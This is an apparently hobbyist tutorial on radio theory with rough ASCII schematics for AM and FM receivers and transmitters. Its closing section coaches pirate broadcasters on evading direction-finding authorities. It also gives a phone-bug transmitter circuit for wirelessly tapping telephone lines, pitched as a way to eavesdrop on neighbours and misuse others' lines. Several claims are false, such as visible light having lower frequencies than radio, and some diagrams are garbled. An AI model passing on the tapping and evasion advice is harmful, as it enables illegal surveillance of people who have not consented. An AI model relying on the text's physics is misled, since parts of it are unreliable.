Ever since our discovery of radio, in around 1902, we have proceeded to utilise it for many different purposes -- from sending others short messages, to transmitting large and critical data sequences to other computer systems. As time has gone on, as useful a technology as radio is, it is barely noticed anymore. When most people think of 'radio', they picture a small black device sitting in their car, which they will use to listen to their local radio stations during car journeys. On the other hand, very few people realise the true usefullness of radio, often forgetting that their cellphones, televisions, satellite TV and alarm systems all too use radio to complete their task on a very regular medium -- radio is not just that boring old thing gathering dust in the corner.

This article is divided up into four parts. The first part describes the basic theory of radio, and examples to illustrate some of the common day uses of it. In parts two and three, AM and FM radio details are outlined showing various different circuits to illustrate how these principles can be applied to real-life, functioning circuits. Section four is a misc. section, presenting some miscellaneous interesting points. Some electronics knowledge is useful in radio, though not totally necessary. Most circuits presented here are quite rough, and can be greatly improved upon in many ways.

```
----[ 0.1 - Technical Terms

Below is a description of technical terms used throughout the article:


RF           -- Any frequency within the radio spectrum, which can be
                used by to transmit and receive radio signals.

Modulation   -- A technique used to package data into a radio signal
                which is of use to the destination radio receiver.

AM           -- Amplitude Modulation.  This involves shifting the amplitude
                of a radio signal's carrier very slightly in sympathy with
                a modulating signal.

FM           -- Frequency Modulation.  FM modulation involves shifting the
                frequency of a radio wave's carrier very slightly in
                sympathy with a modulating signal.

Receiver     -- Any device which is capable of receiving radio signals
                sent by a radio transmitter.

Transmitter -- A device which can transmit radio waves into the
                surrounding environment.

Aerial       -- A medium to large piece of wire which is used by either a
                radio transmitter or receiver to propagate or detect an
                incoming radio signal.  In a radio receiver or transmitter,
                an aerial acts as one plate of a capacitor, whilst the other
                plate is taken place by the Earth.

Antenna      -- See aerial.

Wireless     -- Refers to any technology which communicates data without the
                need for a wired connection.  Most wireless devices, such as
                cell phones, televisions, and others use radio, but several
                do use technologies such as infrared, which is not covered
                here.

Radio wave    -- A radio wave is an 'electromagnetic' wave, most commonly
                 containing data to be received by a remote radio receiver.

Oscillator    -- Refers to an electronic circuit which 'oscillates', or
                 'vibrates', to complete a certain task.  Oscillators are
                 used in radio to transmit radio waves at a given
                 frequency -- the rate at which the oscillator oscillates is
                 the RF (see RF) at which the wave is transmitted.  Common
                 oscillator circuits, also used in this paper, are LC
                 oscillator circuits, and crystal-controlled oscillators.

Crystal-controlled
oscillator    -- An oscillator circuit whos oscillation frequency is
                 controlled by a 'crystal'. See oscillator.

LCoscillator -- An oscillator consisting of a capacitor and an inductor,
                 whos frequency of oscillation is controlled directly by the
                 capacitor, which is usually variable.  See oscillator.

Capacitor     -- Device which stores current as an electrical field.

Broadcast     -- A term used to describe transmitting radio waves into the
                 atmosphere.

Wavelength    -- The physical distance between two waves on the same
                 frequency, transmitted successively.

Bands         -- Frequency Bands are a range of frequencies used
                 interchangeably or commonly for the same type of technology.
                 For example, televisions often use the VHF band.
```

```
Frequency    -- Number of cycles per seconds. Frequency can be used to
                describe how often an oscillator oscillates.

Sidebands    -- When modulation of a carrier is applied, two extra
                bands are generated, both slightly higher and lower
                than the carrier frequency, equating from the 'sum and
                difference' of the carrier and audio
                frequency.  These two bands appear at either end of
                the RF carrier, hence the term 'sidebands'.
```

--[1 - Radio Basics

----[1.1 - Radio Waves

Radio waves, otherwise referred to as 'radio signals', are simply electromagnetic waves. Radio waves are transmitted by devices called 'radio transmitters' or 'transmitters' for short. Despite our wide and many uses for radio waves as a whole, we actually known very little about 'radio'. We do know, however, that radio waves are a form of energy, which act exactly like they have been propagated as any other type of wave we know of. For example, an audio wave.

Radio waves are made up of three things; an electric field, a direction, and a magnetic field.

Despite our underlying ignorance of radio and its properties, we can predict and use its properties to our advantage to undergo a wide variety of different tasks -- and will probably do so for a long time to come.

----[1.2 - Carrier

An 'RF carrier' can be thought of as the part of the radio wave which can be modulated to 'carry' a data signal. An analogy to help with understanding this is to think of turning on a flashlight and pointing it towards a wall. The light which is seen on the wall is the 'carrier'.

Before and without modulation, the carrier of a radio wave contains no data, and just contains peaks of an RF voltage.

```
                          peak voltage

                       ||\\    ///\    //\\
                       || \\  //  \\  //  \\
                       ||  \\\/    \\\/    \\

                             RF carrier
```

Because sending radio waves with a carrier containing no data would be almost useless, a carrier is 'modulated' to contain data. There are various modulation schemes in wide use, but the two most common schemes are AM (Amplitude Modulation) and FM (Frequency Modulation). These are discussed later.

----[1.3 - (RF) Frequency Bands

As we can gather from listening to a variety of radio stations, different forms of technology use an entirely different 'band' of radio frequencies on which to send and receive their radio signals.

The entire range in which radio signals are transmitted extends from around 30KHz, up to about 30GHz. This whole range of available RFs (Radio Frequencies) is known as the 'radio spectrum'. The radio spectrum's range of frequencies, and their concurrent uses are shown in the below table.

```
+--------------------+-----------------------------+----------------------+
```

Frequency	Uses	Name
30KHz-300KHz	Long-wave radio, useful for long distance communications	Low Frequency (L.F)
300KHz-3MHz	Medium wave, local radio distant radio stations	Medium Freq (M.F)
3MHz-30MHz	Short wave radio Communications Amateur radio	High (H.F)
30MHz-300MHz	FM Radio Police radio Meteorology Comms	Very High (V.H.F)
300MHz-3GHz	Air Traffic Control TV	Ultra High (U.H.F)
3GHz-30GHz	Radar Comms Satellites Telecommunications (TV & telephone)	Microwaves (S.H.F)

Since certain frequency bands are used to accomodate important communications, such as the VHF band, it became illegal to transmit radio waves at certain frequencies without a license. It was made so because transmission of radio signals at important frequencies could interrupt critical communication, such as communication between police officers with their radio transmitter devices.

All frequencies within the radio spectrum are invisible to humans. Light frequencies which are visible to humans, i.e frequencies which are present in the light spectrum, operate at *much* lower frequencies.

----[1.4 - Wavelength

Wavelength is the physical distance between a peak in one radio wave, to the peak in another radio wave transmitted successively -- on the same RF. As a general analogy, the wavelength can be thought of as the distance that the peak in a given wave will have travelled in the space of time for one cycle. This can be calculated using the below simple formula.

```
|\ = V / F

* |\ = lamda
  V  = Velocity
  F  = Frequency
```

Using this formula, the wavelength for an example scenario can be calculated, when the RF is 27MHz. The speed of light is 300 million meters/second, which is therefore the velocity of the electromagnetic wave.

```
|\ = 300,000,000 / 27,000,000

= 11.11r
```

Looking at the above calculation, what can be gained? It seems that the wavelength for waves transmitted in the example scenario is 11.11 (recurring) meters, so from this, it can be gathered that a peak in a particular radio wave will have travelled 11.11r meters in the time it took for one oscillation of the transmitting oscillator. But how can we know how long this oscillation period takes? We can calculate this using the formula '1 / f'.

1 / 27,000,000 = 0.0000000370r

This means that within the miniscule time frame of 0.0000000370 (recurring) seconds, the peak within the radio wave should have travelled approximately 11.11 (recurring) meters.

Wavelength might seem quite a useless thing to calculate on its own, but it comes in very useful when it comes to calculating suitable aerial lengths for both radio transmitters and radio receivers. As a rule of thumb, an ideal length for a radio aerial is around 1/2 of the signals wavelength. This can be calculated very easily.

11.11 / 2 = 5.555 (roughly)

From this calculation, we can gain the knowledge that a near ideal radio transmitter/receiver aerial can be constructed to be of around 5.5 meters. Exact precision is not generally critical to the overall operation of the radio transmitter/receiver. For example, where portability of equipment is more of a concern than great efficiency, 1/4, 1/8 or even 1/16 of the wavelength in meters is often used for the length of the radio aerial.

```
11.11 / 4 = 2.7775
11.11 / 8 = 1.38875
11.11 / 16 = 0.694375
```

From this little experiment we can see that we can turn a length which is considerably out of question due to portability desires, into a length which is much more suitable, yet efficiency is not affected too much.

This technique is very commonly employed to calculate sensible lengths for radio aerials. However, other techniques are also employed, especially in the case of satillite TV. Notice how TV satillite dishes house tiny holes in the body of the dish? These holes are specially sized to ensure that radio waves with wavelengths less than that associated with the desired RFs (3GHz-30GHz) do not create an electrical current in the aerial wire, as suitable radio waves do. Holes based upon the same principle can also be found when looking inside a microwave oven.

----[1.5 - Transmission

Perhaps one of the most difficult concepts to grasp in radio is how radio waves are actually broadcast into the environment. As touched upon previously, radio waves are transmitted using oscillators in electronic circuits, and the rate at which the oscillator oscillates is the frequency at which the radio waves are transmitted.

As an example, we will focus on using an LC tuned oscillator circuit in the radio transmitter circuit. LC oscillators are made up of an inductor (L), and a capacitor (C). If we consider how a capacitor stores current, we can come up with the conclusion that it is stored as an electric field between two plates -- these two plates make up the capacitor. During one oscillation (also known as a 'cycle') of the LC tuned circuit, all available current is stored first in the capacitor as an electric field, and then as a magnetic field associated with the LC circuit's inductor. After a *very* short time period (1/f), the magnetic field is turned back into an electrical current, and begins to recharge the capacitor again. Because the inductor's magnetic field is beginning to change back into electrical charge, the inductor turns another electrical field into a magnetic field in order to counter-act the change. This continuous cycle of quick changes keeps the current in the LC circuit flowing in the same direction, driven by the current stored in the inductor. When the inductor's charge eventually becomes zero, the capacitor becomes charged again, but with the opposite polarity. After each oscillation (cycle), energy loss has occured, but not all of the energy loss can be accounted for as energy lost as heat from the inductor's coil. Thus, we can gather that some energy has been 'leaked' from between the capacitor's plates, as electromagnetic energy -- radio waves.

If we consider this, we can conclude that the further apart the plates in the capacitor are, the more energy is broadcast ('leaked') as radio waves. This must mean that if we have a capacitor with plates spaced 1 meter apart, more energy will be broadcast as radio waves than if the capacitor had plates spaced a very small distant apart. By thinking even deeper, we can conclude that to maximise 'leakage' of radio energy, a capacitor is needed in the LC tuned oscillator circuit with plates spaced at quite a distance apart. It just so happens that for this task, to maximise broadcast of radio waves, the world's largest plate can be used to take the place of one plate of the capacitor -- the Earth! The other capacitor plate needs just be a suitably lengthed piece of wire, which is an equally common sight -- this piece of wire is known as an 'aerial'!

In real-world radio transmitters, oscillator circuits are used to make a small current 'oscillate' in an aerial wire. Because of the constant change of energy form in the oscillator circuit, the current oscillating in the length of the wire becomes electromagnetic and is radiated as radio energy.

Back to the length of the aerial in relation to wavelength; this is where the length calculated earlier comes in handy. From the knowledge gained here, we can assume an adapted LC oscillator circuit as below.

```
      Capacitor           Inductor


              ________________
             |                )
             |                )
           ---                )____________  Aerial
           ---                )
             |                )
             |________________)
```

As a concept, using the adapted LC tuned oscillator circuit above, the transmission of radio waves can be thought of like this; radio waves are generated due to the propagation of an electric current in an aerial wire. It is, as we have learnt, the 'leakage' of electromagnetic energy from between the two plates of the capacitor which causes broadcasting of radio waves.

As oscillations occur in our LC tuned circuit, all available energy is stored in the capacitor, followed by energy (electrical current) not leaked as electromagnetic waves being fed into the inductor. This whole process measures one oscillation, and once one oscillation is over, the whole process repeats itself again, and each time energy is being lost as radio waves from the acting 'capacitor' (aerial and Earth). Therefore, it is the rate at which the LC circuit is oscillating (the 'frequency') at that determines the frequency at which the radio waves are broadcast at -- thus determining the RF of the radio signals.

----[1.6 - Receiving

The concept of receiving radio signals is based upon almost the opposite of the concepts of transmitting radio waves. In similarity to radio transmitters, radio receivers also use an aerial, but for a totally different purpose; for detecting the radio signals in the environment. As described previously, radio waves are a form of energy, propagated as electromagnetic waves through the air. Thus, when radio signals transmitted by nearby radio transmitters pass the aerial of the receiver, a *tiny* RF alternating current is generated in the aerial wire. When a signal becomes present in the aerial wire, 'wanted' radio frequencies are 'selected' from the assortment of RF currents in the aerial, using a 'tuned circuit'.

As an example, we'll focus on the LC tuned circuit as in the previous section, due to the simplicity of this circuit. RF current of the 'wanted' frequency can be selected from amongst the other RFs by use of an LC tuned circuit, which is set to resonate at the frequency of the 'wanted' radio frequency. This selection is done because the LC tuned circuit has low impedance at any frequencies other than the 'wanted' frequency. Frequencies other than the 'wanted' frequency are prevented from passing through the

circuit because they are 'shorted out' due to low impedance of the LC
circuit at any other frequency than the resonant frequency (the frequency
of the 'wanted' signals).

    Following the selection of correct radio frequencies from the other RF
signals, the radio receiver will usually amplify the signal, ready for
demodulating. The technique which is adapted by the receiver for
demodulating the radio signal into the modulating signal is totally
dependant on the type of modulation being used in the received radio
wave. In the case of an AM radio receiver, a selected signal will be
'rectified' and thus demodulated, using a low-drop germanium diode. This
process basically turns the alternating RF current back into a direct DC
current, which represents the power strength of the AM signal. Next, the
RF component is generally removed by using a capacitor. The output product
of this process is a recovered modulating signal which can be fed to a pair
of high impedance headphones. The diagram below represents how the
selected RF current is rectified by the diode.

```
  ||\\  //\\ ----------------------|>|--------------- ||\\ //\\
  || \\||  \\                                         || \\||  \\
  \/\/\/\/\/\/

AM Modulated Carrier  diode                         Modulating signal
                                                  (RF carrier present)
```

    After being rectified by the diode, the AM radio signal is still not
suitable to be fed to an audio output, as the RF carrier is still present.
The RF carrier can be removed by using a single capacitor.

```
                                     | |
||\\  //\\  -----------------------| |---------------------  /\  /\
|| \\||  \\                          | |                      /  \/  \

Modulating signal                   capacitor         Modulating signal
                                                    (RF carrier removed)
```

    The output of the capacitor is a recovered modulating audio waveform
which is suitable for passing to an audio output device, such as a set
of headphones with a high impedance.

    This technique is likely to be the simplest way to create an AM radio
receiver, commonly known as the 'crystal set', used by the mass in the
1920s. Other receivers are more often used to produce a higher quality of
audio output, such as TRFs (Tuned Radio Receivers) and Superhetrodyne
receivers.

    The whole system model of a radio receiver at its most basic level can
be thought of as the below diagram.

```
         Modulated Radio Signal
(electric current generated in aerial wire by radio wave)
                      |
                     \|/
            Signal amplified
                      |
                     \|/
           Signal demodulated
                      |
                     \|/
          Modulating signal
```

    Although the techniques and components needed to achieve each step of
the diagram are different, most receivers stick to this sort of system.
Other types of receivers and their circuits are discussed more indeph in
the section they are related to.

```
--[ 2 - AM Radio

----[ 2.1 - What is AM Radio?

    AM Radio refers to any form of technology which makes use of Amplitude
Modulation to modulate the 'carrier' with information. To package a radio
wave with often complex signals, the carrier of a radio wave is shifted in
power very slightly in sympathy with a modulating audio or data signal.
Next to morse code, AM is one of the simplest forms of modulation, and with
this, comes its disadvantages.

----[ 2.2 - Modulation

     AM Modulation involves nothing more than shifting the power of a radio
wave's carrier by tiny amounts, in sympathy with a modulating signal.
Amplitude, as you probably already knew, is just another word for 'power'.

     The simplicity of AM modulation can be demonstrated with a simple
diagram like the one below.


||\\    ///\    //\\
|| \\  //  \\  //  \\  --->  \  /\  /  --->     \\    \\
||  \\\/    \\\/    \\        \/  \/            \\ ///\\
                                                \\// \\

     RF Carrier            Modulating signal        AM signal


     As you can hopefully make out from the diagrams, whenever the
modulating signal (the signal which we are modulating) increases in
voltage, the amplitude (power) of the RF carrier is increased in sympathy
with the modulating signal.  When the voltage of the modulating signal
declines in voltage, the opposite of above happens.  After AM modulating
the carrier, the signal has usually twice the 'bandwidth' of the original
modulating signal.


----[ 2.3 - Demodulation

    When an AM designed radio receives a radio wave, as previously noted,
a small RF alternating current is generated in the aerial wire.  Because of
the AM modulation of the carrier applied by the sending transmitter, the
voltages in the carrier are larger and smaller than each other, but in
equal and opposite amounts.  As a result, to recover the modulating signal,
either the positive or the negative part of the modulated signal must be
removed. In the simplest AM radio receivers, the modulated signal can be
'rectified' by making use of a single germanium low-drop diode.


\\/\/\/\/\
 \\  /// //    ---------------------|>|----------------- \\  ///  //
  \\// \\/                                                \\// \\//

AM radio signal                  diode         Modulating signal



    Here, part of the carrier has been removed, resulting in recovery, or
'rectification' of the modulating signal.

    Because the carrier frequency (the RF of the radio wave) is usually
significantly greater than the modulating frequency, the RF carrier can be
removed from the resultant modulating signal, using a simple capacitor.


\\        //                   |  |
\\  ///  //    ----------------|  |----------------  \  /\  /
```

```
 \\// \\//                    |  |                  \/  \/


Modulating signal           capacitor            Modulating signal
(with RF carrier)                               (without RF carrier)
```

    By exposing the rectified signal to a capacitor, the audio signal (or
otherwise data signal) is smoothed, producing a higher quality of audible
output. At this point, the modulating signal is more or less recovered.

    Although this technique of AM demodulation can be made to work to a
satisfactory level, the vast majority of commercial radio receivers now
adopt a design known as 'superhet', which I will explain briefly here.

    Superhet receivers are based upon the principle of 'mixing' two signals
to produce an intermediate frequency. The diagram illustrates a superhet
receivers operation.

```
Carrier in ---> Tuned circuit  ---> Mixer ---> IF amplifier ---> Detector
               (selects correct RF)    |                            |
                                       |                            |
                                       |                            |
                               Local oscillator               Audio Amp
                                                                    |
                                                                    |
                                                                 +--+
                                                                 |  |
                                                                 +--+
                                                                 \__/
```

    As we can see, superhet demodulation is significantly more complex than
'rectification'. Superhet receiver systems, like the above system diagram,
works basically as follows. First, an RF alternating current becomes
present in the circuit, because of the electromagnetic activity around the
aerial. Signals of the correct radio frequency are selected via a tuned
circuit, and inputted into one input pin of the 'mixer'. In the meantime,
the other input of the mixer is occupied by the 'local oscillator', which
is designed to be oscillating at a frequency just lower than the inputted
radio frequency. The output of the mixer is known as the 'Intermediate
Frequency' (IF), which is the difference between the local oscillator
frequency, and the frequency of the received AM radio signal. Next, the
'IF' is amplified, and passed to an 'envelope detector'. The output of the
envelope detector is the modulating audio signal (an AF -- Audio Frequency),
which is in turn amplified, and outputted to the user via a loudspeaker or
other audio output device.

    Since the local oscillator is almost always set to oscillate at a
frequency of approximately 465KHz *below* the frequency of the carrier
input, the output of the mixer will always be a 'carrier' of 465KHz --
which still carries the modulated information. After the signal is
amplified by the IF amplifier(s) (there can be more than one IF amplifier),
the signal is now demodulated by the detector -- which is often just a
single diode. As mentioned above, the modulating signal recovered by the
system can be fed to an amplifier, followed by an audio output device.

    As well as producing a higher quality of audio signal, superhet
receivers also eliminate the need to be able to tune multiple tuned
circuits in a TRF (Tuned Radio Receiver). TRF designs become awkward
when it comes to tuning them into different radio frequencies because
of the many tuned circuits needed -- superhets overcome this problem
as they always 'know' what the collector load will be -- a 465KHz signal.
Superhet designs can also be adapted to work with FM radio signals, assuming
the 'detector' is changed to a suitable detector for FM signals (i.e phase detector).

----[2.4 - Circuits

    Since radio technology is a frequently discussed topic across the

```
Internet, many radio circuit design implementations are readily available,
ranging from very simple circuits, to quite complex ones. Here I present
some radio related circuits which most people with a bit of electronics
knowledge and the right components can build.


------[ 2.4.1 - Receivers

    Discussed above was the historic 'crystal set' radio receiver, which
allows anyone with a long enough aerial wire and a few components to
listen to AM radio bands.  Below is the basic crystal set radio
receiver circuit, which is very easy to construct.


    Aerial Wire            D1 *
        |            Q1
        |               ____|>|__________________
        |_____________|/            |          |
        |             |\            |          |
 _______|_____          |           |          |
(             |         |           |          |
( L1         --- C1 *   |       C2 ---         0  high impedance
(            ---        |          ---         0  headphones
(             |         |           |          |
(_____________|         |           |          |
        |               |           |          |
        |_______________^___________|__________|
        |               | (not joined)
        |_______________|
        |
       GND

- C1 should be a variable capacitor to allow the station to tune into
  other frequency bands.

- D1 should be a low-drop germanium diode -- non-germanium diodes
  won't work.


    From previous discussion, we can figure out that the above 'crystal
set' AM radio receiver works as follows; incoming radio waves generate a
tiny alternating current in the aerial wire, from which 'wanted' radio
frequencies are selected, by the tuned LC circuit. Selected current passes
through a diode, which 'rectifies' the signals, thus demodulating them.
Before the diode, there is a simple transistor, which amplifies the
'wanted' frequency. The only reason for this is to make the quality of
sound slightly better. Any remaining RF components are removed using a
single capacitor -- this consequently has the effect of smoothing out the
signal. The product audio signal is passed to a set of headphones -- these
*must* be high-impedance, or nothing audible sounds on the headphones.

    As was noted earlier, this type of receiver was used frequently in the
1920s, and gave even newbie electronic enthusiasts of that time the
opportunity to build something that would be considered very useful at that
time.  To make decent use of the 'crystal set' circuit, around 60-70 turns
of wire around a rod of ferrious metal would create a good aerial.

    Designs like above are never used in commercial radio receivers anymore.
Excluding superhet receivers, TRFs are occasionally used to produce low
quality radio receivers. Below is a simple TRF receiver schematic.



        Aerial

           |              C5*   C6    +9V
           |        ________________________________________
           |        |     |    |       )                   |
           |        |    ---  ---      )  LC2           __|-|
           |        |    ---  ---      )               __| |
           |        |     |____|_______)                  | |_|
           |        |        |                            |  |   C8
          ---  C1   |        |           D1     C7        |  |___| |____0
          ---      _|_     Q1_____________|>|________|  |_|_|/   | |    0
  LC1      |    R1 | |      /                   |      | |    |\ Q2
  _________|__     |_|  __|/                    |             |  High impedance
  |           )     |  |  |\_____               |             |  headphones
  |           )     |  |        |               |             |
  |           )     |  |        |               |             |
 ---  C2 *    )___| |__|_       |               |             |
 ---          )   | |    |      |               |             |
  |           )   C3     |      |               |             |
  |___________)          |      |    C4         |             |
                         |      |_____          |             |
                         |      |    |     R4  |-|      R6   |-|
                    R2  |-| R3 |-|  ---        | |           | |
                        | |    | |  ---        |_|           |_|
                        |_|    |_|   |          |             |
                     ____|______|_____|_________ |____________|

                                      0V
```

- C2 should be a variable capacitor
- C5 and C6 should be variable capacitors
- Resistors of sensible values should suffice
- Capacitors of sensible values should suffice

As in the 'crystal set' receiver, when a radio signal is 'picked up' by the aerial, the proper frequency is selected using the LC tuned circuit. The signal is passed to a transistor amplifier. However, this time, the transistor amplifier has a 'tuned collector load', because of the tuned LC circuit (LC2) at the collector leg of the transistor. Next, the signal is rectified, stored in a few capacitors until enough current has collected, and is eventually fed to the user with the high impedance headphones. The use of the tuned collector load at the transistor causes for the receiver to be more precise, amplifying only the signals which are at the frequency of LC2's resonant frequency. As expected, this causes for a higher quality of audio signal to be fed into the users headphones, making this a much better radio receiver.

A few things can be done to improve the above receiver, such as adding yet more tuned amplifiers, and perhaps adding a few more resistors and capacitors for safety and efficiency purposes.

------[2.4.2 - Transmitters

All that we really need to do when designing a simple radio transmitter is keep in mind that we require an oscillator -- either tuned or crystal controlled -- and a series of amplifier circuits which boost our signal. After these stages, all that is left is to make the signals oscillate in the aerial wire.

Below is a simple radio transmitter schematic.

```
                                                                 Aerial

                                                                      |
                                                                      |
  ____________________________________________________________________|
 |                        |                 |       |         |       |
 |                        |                 |       |         |       |
 |                     L1 )                 |       |         |  L3   |
 |                        )          R3    |-|  C3  |         |__     )
|-|  R1   Crystal         )                | |     ---        |  |    )
| |_________|_____________)                |_|     ---        |  |  C5)
```

```
|_|        |||            |                 |       |         | ---  )
 |                        |_______| |_______|_AM ___|_______|/  ---  |
 |                       /        | |        Modulator      |\___|___|
 |__________| |________|/        C2                 Q2         |   |
 |          | |        |\   Q1                     (PNP)       |   )
 |          C1          |                                     ---  )
 |                     |-|                                C4  ---  )
 M                     | |  R4                                 | L2 )
 |                     |_|                                     |   |
 |                      |                                      |   |
 |                      |                                      |   |
 |______________________|______________________________________|___|
```

- TR2 is a PNP transistor
- M is a microphone

    This circuit works by oscillating at the frequency controlled by the
crystal (27MHz would be legal in the UK), amplifying the signal with tuned
collector loads at the transistor (TR1), and then by radiating the signal
off as radio waves by oscillating the signal in the aerial wire. Amplitude
modulation is added to the signal by varying the gain of the transistor
driver, by connecting it to the output of a microphone. The above circuit
is quite inefficient, and is likely to produce low quality signals, but it
can be used as a starting point to building a simple AM radio transmitter.
It's probably illegal to operate the above circuit on frequencies requiring
a license, so some countries *require* the circuit to be crystal controlled
on a 'model radio' RF. One improvement to be made on the schematic is to
amplify the output of the microphone before feeding it to the transistor
driver.

    Possible devices which could apply the AM modulation are audio
amplifiers, or even op-amps. An audio amp following the oscillator
would produce a higher quality, stronger signal, but would also provide
power gain (i.e amplitude gain), in sympathy with the audio signal produced
by the microphone. This gain of amplitude due to the audio amp has
essentially applied Amplitude Modulation of the carrier signal,
because the power of the signal has been altered according to the
inputted audio signal (at the microphone). An ordinary op-amp could
be used in a similar way, but by substituting the non-inverting input
pin with a suitable power supply. Essentially, this would cause for
an outputted gain from the op-amp, according to the audio signal,
because the two inputs to the op-amp are compared, as such.

--[3 - FM Radio

----[3.1 - What is FM radio?

    FM radio just means any form of technology which makes use of radio
with FM modulated signals. To modulate a radio wave's carrier with
information, FM transmitters shift the frequency of the carrier very
slightly, to be in sympathy with a modulating signal.

----[3.2 - Modulation

    FM modulation consists of little more than shifting a radio wave's
carrier frequency very slightly in sympathy with a modulating signal's
frequency.

Modulation of an example audio signal is shown in the figures below.

```
||\\    ///\    //\\
|| \\  //  \\  //  \\  --->  \  /\  /  --->       ||\\  /\\  //
||  \\\/    \\\/    \\        \/  \/              ||\\ //\\ //
                                                  ||\\// \\//
```

```
     RF Carrier            Modulating signal        FM signal
```

The diagrams show that when the frequency of the modulating signal increases, so does the given carrier frequency, and the opposite when the modulating signal's frequency decreases. This is shown in the FM signal diagram by the bands being spaced widely apart when the modulating signal frequency is increasing, and more closely together when the modulating signal's frequency is decreasing.

----[3.3 - Demodulation

When an FM modulated carrier signal is detected by the receiver's aerial wire, in order to recover the modulating signal, the FM modulation must be reversed.

Most modern FM radio receivers use a circuit called the 'phase-locked loop', which is able to recover FM modulated radio signals by use of a VCO (Voltage Controlled Oscillator), and a 'phase detector'. Below is the system diagram of a PLL suitable for use in FM radio receivers.

```
    FM signal in -------------> Phase  ---------------
                                Detector             |
                                  |                  |
                                  |                  |
                                  |                  |
                                  |                  |
                                 VCO                 |
                                  |__________________|
                                                     |
                                                     |
                                                     |
                                                     |
                                                     |
                                            Modulating signal
                                                   out
```

The above PLL is able to recover the modulating signal by having one input to a phase detector as the modulated carrier, and the other input as a VCO oscillating at the frequency of the RF carrier. The phase detector 'compares' the two frequencies, and outputs a low-power voltage relative to the difference between the two 'phases', or frequencies. In essence, the outputted voltage will be relative to the frequency by which the carrier's frequency was shifted during modulation by the transmitter. Therefore, the output of the PLL, known as the 'phase error', is the recovered modulating signal. In addition to being outputted from the small system, the voltage is also given to the VCO as 'feedback', which it uses to 'track' the modulation. Acting upon the feedback received, the frequency of oscillation is altered accordingly, and the process is repeated as necessary.

In the past, less efficient and reliable circuits were used to demodulate FM radio signals, such as the 'ratio detector'. Although the 'ratio detector' is less sophisticated than PLL methods, a functioning ratio detector circuit is actually a little more complex than PLLs.

It should be noted that superhet receivers, touched upon a little earlier, can also be used as FM radio receivers, but their 'detectors' are different to that of an AM superhet -- for example, a PLL circuit or ratio detector discussed here could be used in conjunction with a superhet receiver to make an FM radio. This is the method which is actually adopted by most commercial radio receiver manufacturers.

----[3.4 - Circuits

------[3.4.1 - Transmitters

    The same general principles apply to FM radio transmitters as they do
to AM radio transmitters, except that information must be modulated in a
different way. In AM radio transmitters, the carrier frequency is more or
less always constant. However, in FM transmitters, the whole principle is
to alter the carrier frequency in small amounts. This means that a tuned
oscillator circuit is not appropriate, because we need to alter the
frequency accordingly, not transmit at one static frequency. The method
used to overcome this problem is discussed a little later. A simple FM
transmitter schematic diagram is presented below.

```
                                                                    Aerial
                                                                       |
                                                                       |
                                                                       |
   ____________________________________________________________________|
  |                               |                 |    |      |      |
  |                               |                 |    |      |      )
  |                               )                |-|  --- C3  |      )
  |  R1                      L1   )             R3 | |  ---     |_ C4  )
 |-|                              )                |_|   |      |  |   )
 | |                              )                 |    |      | ---  |
 |_|               |  Crystal     |        C2       |    |      | ---  |  L2
  |_______________|||_____________|___________| |___|____|____|/   |   |
  |                              /            | |             |\___|___|
  |____________| |_____________|/                                      |
  |            | |             |\  Q1                         Q2       |
  |                              |                                     |
  |            C1                |                                     |
  M                             |-|                                    |
  |                             | | R2                                 |
  |                             |_|                                    |
  |                              |                                     |
  |______________________________|_____________________________________|
```

    When audio signals are produced by the microphone, current carrying
audio frequencies are amlified, and are used to modulate the radio
wave. Since the microphone does this all for us, there is no need to
use modulation modules, ICs, or other technology. In situations where
an elecret microphone is not available to do the modulation for us, a
varactor diode can be used to vary the capacitance in an oscillator
circuit, depending on the amplitude of a modulating signal. This
varies the oscillation frequency of the oscillator circuit, thus
producing FM modulation.

--[4 - Misc

----[4.1 - Pirate Radio

    Pirate Radio stations are simply just radio stations ran by
individuals who are not licensed amateur radio enthusiasts. Although
radio is actually a natural resource, it has been illegal for a
significant amount of time in some countries to transmit radio waves
on certain frequencies. Although transmitting radio signals on
certain frequencies (around 27MHz) is legal in places like the UK,
strict FCC regulations kick in, almost limiting the threshold to
useless. Because of this limitation, radio enthusiasts all around the
globe see fit to set up pirate radio stations, which they use for
their enjoyment, playing their favourite music tracks to the 'public',
and for a breeding ground for aspiring DJs. Some 'pirate radio'
stations keep within the FCC terms, by transmitting at low-power.
These types of stations are often referred to as 'free radio', or
'micropower stations'.

    The legality of pirate radio stations is questionable, but varies from
country to country. In some European Countries, you can be arrested
for just owning an unregistered transmitter. In Ireland, prosecution

rarely takes place if registered radio stations are not affected, but it is still illegal. The US allows transmission of radio signals at *microscopic* power, making the limitations almost useless for unlicensed radio enthusiasts, thus causing them to resort to pirate radio.

Contrary to popular belief, setting up a pirate radio station is not necessarily a difficult task. At the minimum, someone wanting to setup a pirate radio station would need the following pieces of equipment:

- Stereos, CD Players, Microphones, etc.
- Audio Amp
- Audio Mixer
- Transmitter
- Aerial

Stations using only the above equipment can sometimes sound quite crude, and might interfere with other legal radio stations. To avoid this, a 'compressor' can be used, which also limits the noise created by sudden loud noises in the background.

Although any of the example transmitters in this article probably wouldn't be sufficient enough to transmit music audio signals over the air, but they could be used as a starting point to building your own, more efficient kit. Additionally, FM and AM radio kits can be purchased, which anyone with a soldering iron can build.

The length and height of the antenna depends entirely on how far the radio signals need to be transmitted. By reading the previous sections, some information on getting a correctly sized aerial can be gained. For example, a quick and dirty aerial for an AM pirate radio station could be around 15-20 feet tall.

To avoid being busted, it is probably a good idea to stay within the legal power limits. Otherwise, a Direction Finding device used by the authorities could easily track down the exact location of the transmitter.

----[4.2 - Wireless Telephone Tapping

'Beige boxing' has long been the easiest and most exploited way to tap telephones, interrupt on neighbours conversations, and use enemies phone lines to make long distance calls to your friend in Australia. However, since beige boxing requires the phreak to lurk around like a ninja, a safer method can be used, which doesn't require you to be physically close to the target phone line.

As expected, audio signals on a target phone line can be transmitted as radio signals at an arbitrary frequency, and be received by any phreak with an FM radio receiver. Although this concept is not new, it serves as an interesting and useful project for radio newbies to try out. Below is a simple FM phone bug transmitter circuit.

```
                  __________________________________________________________
                  |                    |                                    |
                  |                    |                                    |
IN (green) ___.___|_______            |-|                                   |
              |   |       |           | |                                   |
              |  /\  LED  |           |_|                                   |
              |  ---     | |           |___| |      op-amp                  |
              |   |   C1 | |           |   | |---|\                         |
              |   |       |__________|/      ____| >------- Aerial          |
IN (red) _____|___|                  |\ _____|___|/                         |
              |   |                    |     |   |                          |
              |   |                    |     |   |                          |
OUT (green) __|   |                    (     |   |                          |
                 /\                    (     |  /\  varactor                |
                 ---                     (     |  ---                          |
                    |                    (     |   |                           |
OUT (red) ________|____________________|_____|___|___________________________|
```

